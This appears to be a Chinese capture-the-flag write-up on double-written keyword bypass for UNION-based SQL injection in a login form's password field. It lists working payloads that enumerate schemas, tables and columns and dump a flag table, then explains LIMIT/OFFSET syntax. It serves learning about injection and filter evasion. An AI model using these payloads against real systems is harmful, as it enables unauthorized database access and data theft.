双写绕过(联合注入)

双写绕过

通过在username和password中构造可疑闭合点

1
2
3
username:admin'、admin"、admin")、admin')

password:admin'、admin"、admin")、admin')

发现注入点在password,且闭合是单引号,我们可以通过双写绕过的方式来进行联合注入

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
爆数据库
admin' ununionion seleselectct group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) frfromom infoorrmation_schema.schemata limit 1 offset 0--+

报数据表
admin' ununionion seleselectct group_concat(table_name),group_concat(table_name),group_concat(table_name) frfromom infoorrmation_schema.tables limit 1 offset 0%23
admin' ununionion seleselectct table_name,table_name,table_name frfromom infoorrmation_schema.tables limit 1 offset 0%23

报数据列
admin' ununionion seleselectct column_name,column_name,column_name frfromom infoorrmation_schema.columns whwhereere table_name='Flag' limit 1 offset 0%23

爆数据列中的内容
admin' ununionion seleselectct flag,flag,flag frfromom ctf.Flag limit 1 offset 0%23

其中

1
2
limit 1 offset 0

的解析:

1
2
3
4
5
6
7
8

select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据


select * from table limit 2 offset 1;
//从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条